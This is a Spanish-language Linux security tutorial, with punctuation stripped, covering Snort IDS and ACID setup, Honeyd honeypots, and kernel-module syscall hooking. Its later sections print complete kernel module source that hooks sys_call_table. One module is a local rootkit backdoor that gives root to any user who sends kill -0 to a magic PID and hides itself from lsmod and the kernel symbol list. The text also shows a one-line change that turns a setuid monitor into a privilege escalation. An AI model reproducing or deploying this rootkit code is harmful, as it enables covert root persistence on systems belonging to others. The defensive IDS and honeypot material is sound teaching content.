httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
